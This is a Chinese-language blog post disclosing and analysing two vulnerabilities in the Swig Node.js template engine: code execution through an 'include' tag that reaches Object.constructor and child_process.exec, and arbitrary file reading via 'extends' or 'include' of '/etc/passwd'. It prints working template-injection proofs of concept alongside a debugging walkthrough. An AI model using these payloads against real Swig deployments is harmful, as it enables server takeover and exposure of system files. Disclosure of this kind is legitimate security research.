前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Swig模板引擎0day挖掘-代码执行和文件读取

Swig模板引擎0day挖掘-代码执行和文件读取

作者头像
Y1ng
发布2023-03-08 10:41:47
5300
发布2023-03-08 10:41:47
举报
文章被收录于专栏:颖奇L'Amore

Swig模板

Swig是一款Node.JS的模板引擎

官方文档: https://myvin.github.io/swig.zh-CN/index.html Github: https://github.com/node-swig/swig-templates

之前一段时间挖过swig模板,发现了一个RCE,以及一个之前的任意文件读取,之前还用这个任意读漏洞出过CTF题。swig目前应该不更新了,所以一直留着,现在觉得留着也没啥卵用,就给他们提了issue,顺便水一篇博客(能再水个CVE编号就更好了)。

刚刚仔细检查了一下,旧版本叫swig,新版是swig-templates,漏洞都是存在的,然后我debug是用的swig,不过代码变化很小,尤其是核心的模板解析和渲染的部分都是一样的。

代码执行漏洞

已提issue: https://github.com/node-swig/swig-templates/issues/89

poc

tpl.html

代码语言:javascript
复制
You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

run.js

代码语言:javascript
复制
var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

漏洞分析

模板渲染过程中,include.js会拼接代码

https://github.com/node-swig/swig-templates/blob/313bed1faa42e310d9dca4cd05d384439d26ec63/lib/tags/include.js#L39-L52

m1-174527_MKMDNr
m1-174527_MKMDNr

拼接完的代码会给到out变量

https://github.com/node-swig/swig-templates/blob/313bed1faa42e310d9dca4cd05d384439d26ec63/lib/parser.js#L891-L899

m1-174748_5I19vi
m1-174748_5I19vi

之后out值为

代码语言:javascript
复制
_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx,  + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));

关于为什么会生成这样的out,主要是parser.js的checkMatch()

m1-175512_zokYOj
m1-175512_zokYOj

中间的逻辑很复杂,反正就是找属性、代码拼接,不好描述,这里不展开写了,整个call stack为:

代码语言:javascript
复制
checkMatch (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:419)
parseVar (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:386)
parseToken (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:286)
<anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:86)
exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45)
TokenParser.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:76)
parseTag (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:577)
<anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:640)
exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45)
exports.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:624)
parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:354)
precompile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:486)
compile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:606)
compileFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:696)
renderFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:570)
<anonymous> (/Users/bytedance/Desktop/swig/run.js:2)
Module._compile (internal/modules/cjs/loader:1120)
Module._extensions..js (internal/modules/cjs/loader:1174)
Module.load (internal/modules/cjs/loader:998)
Module._load (internal/modules/cjs/loader:839)

最后生成的result值为如下代码的字符串形式:

代码语言:javascript
复制
// 最外层有引号包裹,这里为了代码格式化就没写
(
    (typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null)
        ? (
            (typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null)
                ? _ctx.Object.constructor 
                : ""
        ) 
        : (
            (typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) 
                ? Object.constructor 
                : ""
        )
)

这就很明朗了,很明显_ctx不存在Object属性,会走到三目运算符中:后面的逻辑,也就是:

代码语言:javascript
复制
(
            (typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) 
                ? Object.constructor 
                : ""
        )

很明显Object是存在的,于是就最后就得到了Object.constructor,也就是Function()

接着刚才的说,out的值会被用来做一个匿名函数

m1-181326_JprIbA
m1-181326_JprIbA

Swig.Swig.compile.compiled处调用pre.tpl(),这个tpl()就是刚刚创建的匿名函数

m1-181726_0hQI88
m1-181726_0hQI88

跟进这个匿名函数,执行就会弹计算器:

m1-140208_EIzVeN
m1-140208_EIzVeN

虽然很长,但是前面不用看,我们直接跟到中间的call方法,call前面的一大套还是相同的逻辑,只是多套了两层三目运算,最后返回的是依然是Object.constructorcall方法来源于Object.constructor || efn。其实根本不重要,因为不论是哪个函数,call方法最终都是继承自Function.prototype原型对象,然后call的第一个参数就是上面分析的Object.constructor,也就是Function(),第二个参数就是函数体

m1-183536_8QVymK
m1-183536_8QVymK

于是乎顺理成章的通过Object.constructor创建了如下匿名函数:

代码语言:javascript
复制
(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})

接着就走到了下一个()对上述匿名函数做调用,成功逃逸沙箱,代码执行就发生了

m1-182324_urOmnJ
m1-182324_urOmnJ

任意文件读取漏洞

已提issue: https://github.com/node-swig/swig-templates/issues/88

根据文档:

swig可以扩展模板,或包含模板,但对路径和后缀名没有做校验,因此可以实现任意文件读取

poc:

代码语言:javascript
复制
{% extends '/etc/passwd' %}
{% include '/etc/passwd' %}

比较简单,就不详细分析了,就是直接取到路径然后读文件然后拼接到结果的_output

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-02-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Swig模板▸
  • 代码执行漏洞▸
    • poc▸
      • 漏洞分析▸
      • 任意文件读取漏洞▸
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档